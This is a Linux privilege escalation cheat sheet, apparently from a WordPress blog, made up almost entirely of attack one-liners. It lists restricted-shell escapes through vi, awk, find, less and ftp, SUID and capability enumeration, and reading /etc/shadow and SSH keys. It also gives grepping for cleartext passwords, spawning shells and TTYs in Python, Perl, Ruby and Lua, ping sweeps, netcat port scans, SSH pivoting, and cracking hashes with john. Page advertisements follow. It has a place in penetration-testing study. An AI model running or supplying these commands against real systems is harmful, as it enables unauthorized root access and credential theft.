

LINUX PRIVILEGE ESCALATION

- **Escape `rbash` or `rkash`**

- try basic commands and see what you can run
 - `ls,pwd,cd,env,set,export,vi,cp,mv`
 - `echo $PATH`
 - usually set too one or two directories
 - `echo $SHELL`
 - find out what shell we are in
 - if `/` is allowed
 - just run `/bin/sh`
 - if you can set `PATH` or `SHELL` variables
 - `export PATH=/bin:/usr/bin:$PATH`
 - `export SHELL=/bin/sh`
 - if you can `'cp'`
 - `cp /bin/sh /dir/from/path; sh`
 - `:set shell=/bin/bash`
 - `:shell`
 - option2: `:! /bin/bash`
- Awk Command

- awk 'BEGIN {system("/bin/sh")}'
- Find Command
 - find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
 - find / -name blahblah -exec /bin/sh \;
- ftp
 - !/bin/sh
- gbd
 - !/bin/sh
- more / less /man
 - !/bin/sh
- vi / vim
 - :set shell=/bin/sh
 - :shell
 - or
 - :!/bin/sh
- uname -a
- sudo -l
- cat /proc/version
- get linux enviornment
 - env

- find Users/hashtables
 - cat /etc/passwd
 - cat /etc/shadow
- SUID/SGID
 - find / -perm -u=s -type f
 - find / -perm -u=s -type f 2>/dev/null
 - dpkg -S FILE
 - find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
 - list of exploitable SUID
- SSH Keys
 - stored in ~/.ssh/
 - stored in /etc/ssh
 - check other places as well
- File Capabilities
 - getcap FILE
 - getcap tutorial
- Finding Clear Credentials
 - grep -i user FILE
 - grep -i pass FILE
 - find . -type -f -maxdepth 4 | xargs grep -i "password"
- TCPDump

- `tcpdump -nnXSs 0 -i lo`
- `tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21`
- Super user
 - `su USERNAME`
 - enter pass to sign into new user
- Download Files
 - `wget`
 - `curl`
- Services Running as Root
 - `ps aux | grep root`
 - `ps -f | grep root`
- Applications Installed
 - `ls -lah /usr/bin/`
 - `ls -lah /sbin/`
- TTY
 - `python -c 'import pty;pty.spawn("/bin/bash")'`
 - `echo os.system('/bin/bash')`
- Invoke Shell through different languages:
 - `python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()`
 - `perl -e 'exec "/bin/sh";'`

- perl: `exec "/bin/sh";`
- ruby: `exec "/bin/sh"`
- lua: `os.execute('/bin/sh')`
- `irb(main:001:0> exec "/bin/sh"`
- Ping Scan without Nmap
 - `for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done`
- Port Scan with Netcat
 - `nc -vv -z localhost 1-80 > file.txt 2>&1`
- SSH Port Forwarding
 - `ssh -L 80:192.168.144.4:80 sammy@10.10.10.10`
 - forward local port 80 to 192.168.144.4 port 80
 - `ssh -L localhost:destip:destport pivothost`
- Cracking Shadow/Passwd File
 - `unshadow /etc/passwd /etc/shadow > unshadow`
 - `john -wordlist=/usr/share/wordlists/rockyou.txt unshadow`
- Cron jobs
 - pspy
 - `./pspy64`

Advertisements



After Seeing Why He Places An Ice Cube On His Burger When Grilling, I'll Never Make One Any Other Way Again

[REPORT THIS AD](#)



After Seeing Why He Places An Ice Cube On His Burger When Grilling, I'll Never Make One Any Other Way Again

[REPORT THIS AD](#)



Twitter



Facebook



Like

Be the first to like this.

Powered by [WordPress.com](#).

5